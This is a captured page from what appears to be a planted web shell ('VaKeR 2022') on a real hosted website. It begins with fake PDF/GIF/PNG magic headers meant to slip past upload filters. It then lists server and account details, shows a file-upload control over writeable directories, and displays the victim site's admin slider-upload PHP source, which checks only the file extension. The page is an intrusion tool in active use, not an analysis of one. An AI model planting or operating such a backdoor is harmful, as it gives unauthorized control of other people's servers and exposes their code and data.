%PDF- %GIF98; %PNG; .
Cyber Programmer
Logo of a company Server : Apache
System : Linux sh00666.bluehost.com 5.14.0-687.26.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Jul 14 16:32:02 EDT 2026 x86_64
User : ndkhermy ( 1200)
PHP Version : 8.5.12
Disable Function : NONE
Directory :  /home1/ndkhermy/www/website_6ca89795/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home1/ndkhermy/www/website_6ca89795/admin/addslider.php
<?php
include('header.php');
include('../dbcon.php');

if (isset($_POST['Upload'])) {

    $slider_head = mysqli_real_escape_string($conn, $_POST['slider_head']);
    $slider_title = mysqli_real_escape_string($conn, $_POST['slider_title']);
    $slider_title_detail = mysqli_real_escape_string($conn, $_POST['slider_title_detail']);

    $slider_imagename = $_FILES['simg']['name'];
    $tempname = $_FILES['simg']['tmp_name'];

    $final_image = time() . "_" . $slider_imagename;

    $allowed = ['jpg', 'jpeg', 'png', 'webp'];
    $ext = strtolower(pathinfo($slider_imagename, PATHINFO_EXTENSION));

    if (!in_array($ext, $allowed)) {

        echo "<script>alert('Only JPG, JPEG, PNG, WEBP files allowed');</script>";

    } else {

        if (move_uploaded_file($tempname, "./dataimg/" . $final_image)) {

            $qry = "INSERT INTO slider
                    (slider_head, slider_title, slider_title_detail, slider_image)
                    VALUES
                    ('$slider_head', '$slider_title', '$slider_title_detail', '$final_image')";

            $run = mysqli_query($conn, $qry);

            if ($run) {

                echo "<script>
                        alert('Slider Uploaded Successfully');
                        window.location='addslidershow.php';
                      </script>";

            } else {

                echo "<script>alert('Database Error : ".mysqli_error($conn)."');</script>";
            }

        } else {

            echo "<script>alert('Image Upload Failed');</script>";
        }
    }
}
?>

<div class="content-wrapper">
    <div class="container mt-4">

        <div class="card shadow">
            <div class="card-header bg-primary text-white">
                <h4 class="mb-0">Upload Slider</h4>
            </div>

            <div class="card-body">

                <form action="" method="post" enctype="multipart/form-data">

                    <div class="form-group mb-3">
                        <label>Slider Head</label>
                        <input type="text" name="slider_head" class="form-control" required>
                    </div>

                    <div class="form-group mb-3">
                        <label>Slider Title</label>
                        <input type="text" name="slider_title" class="form-control" required>
                    </div>

                    <div class="form-group mb-3">
                        <label>Slider Detail</label>
                        <textarea name="slider_title_detail" class="form-control" rows="4" required></textarea>
                    </div>

                    <div class="form-group mb-3">
                        <label>Upload Image</label>
                        <input type="file" name="simg" class="form-control" accept=".jpg,.jpeg,.png,.webp" required>
                    </div>

                    <button type="submit" name="Upload" class="btn btn-success">
                        Upload Slider
                    </button>

                </form>

            </div>
        </div>

    </div>
</div>


            <!-- / Content -->

            <!-- Footer -->
           
            <!-- / Footer -->

            <div class="content-backdrop fade"></div>
          </div>
          <!-- Content wrapper -->
        </div>
        <!-- / Layout page -->
      </div>
    </div>
    <!-- / Layout wrapper -->

    
    <!-- Core JS -->
    <!-- build:js assets/vendor/js/core.js -->
    <script src="../assets/vendor/libs/jquery/jquery.js"></script>
    <script src="../assets/vendor/libs/popper/popper.js"></script>
    <script src="../assets/vendor/js/bootstrap.js"></script>
    <script src="../assets/vendor/libs/perfect-scrollbar/perfect-scrollbar.js"></script>

    <script src="../assets/vendor/js/menu.js"></script>
    <!-- endbuild -->

    <!-- Vendors JS -->

    <!-- Main JS -->
    <script src="../assets/js/main.js"></script>

    <!-- Page JS -->

    <!-- Place this tag in your head or just before your close body tag. -->
    <script async defer src="https://buttons.github.io/buttons.js"></script>
  </body>
</html>

VaKeR 2022